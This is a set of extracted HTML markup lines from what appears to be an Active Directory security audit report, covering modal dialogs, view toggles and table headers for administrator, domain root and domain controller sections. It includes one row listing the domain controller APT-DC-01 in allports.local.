_raw: <input type="checkbox" class="custom-control-input" checked id="switch-2-EnterpriseAdministrators">


_raw: <label class="custom-control-label"  for="switch-1-EnterpriseAdministrators">Compact display</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-1-EnterpriseAdministrators">


_raw: <div class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100">


_raw: <div class="progress mt-2 d-none" id="progressEnterpriseAdministrators">


_raw: <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>


_raw: <div class="modal-dialog modal-full-screen-dialog" role="dialog">


_raw: <div class="modal modal-full-screen" id="mcg-EnterpriseAdministrators" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <button type="button" class="btn btn-primary" data-bs-dismiss="modal">Close</button>


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Deleted objects list">


_raw: <div class="modal-dialog modal-xl" role="dialog">


_raw: <div class="modal" id="mod-deleted-12" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <div class="modal" id="mod-dependancy-12" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Name	Distance	Last authorized object	Path


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Indirect member list">


_raw: <div class="modal" id="mod-indirectmember-12" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <label class="custom-control-label"  for="switch-2-DomainRoot">Hierarchical view</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-2-DomainRoot">


_raw: <label class="custom-control-label"  for="switch-1-DomainRoot">Compact display</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-1-DomainRoot">


_raw: <div class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100">


_raw: <div class="progress mt-2 d-none" id="progressDomainRoot">


_raw: <button type="button" class="btn-close btn-close-white" data-bs-dismiss="modal" aria-label="Close"></button>


_raw: <div class="modal-dialog modal-full-screen-dialog" role="dialog">


_raw: <div class="modal modal-full-screen" id="mcg-DomainRoot" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <button type="button" class="btn btn-primary" data-bs-dismiss="modal">Close</button>


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Deleted objects list">


_raw: <div class="modal-dialog modal-xl" role="dialog">


_raw: <div class="modal" id="mod-deleted-11" tabindex="-1" role="dialog" aria-hidden="true">


_raw: APT-DC-01$	YES	YES	NO	NO	CN=APT-DC-01,OU=Domain Controllers,DC=allports,DC=local


_raw: SamAccountName	Enabled	Active	Locked	Flag Cannot be delegated present	Distinguished name


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Computer list">


_raw: <div class="modal" id="mod-cmember-11" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <div class="modal" id="mod-dependancy-11" tabindex="-1" role="dialog" aria-hidden="true">


_raw: Name	Distance	Last authorized object	Path


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Indirect member list">


_raw: <div class="modal" id="mod-indirectmember-11" tabindex="-1" role="dialog" aria-hidden="true">


_raw: <label class="custom-control-label"  for="switch-2-DomainControllers">Hierarchical view</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-2-DomainControllers">


_raw: <label class="custom-control-label"  for="switch-1-DomainControllers">Compact display</label>


_raw: <input type="checkbox" class="custom-control-input" checked id="switch-1-DomainControllers">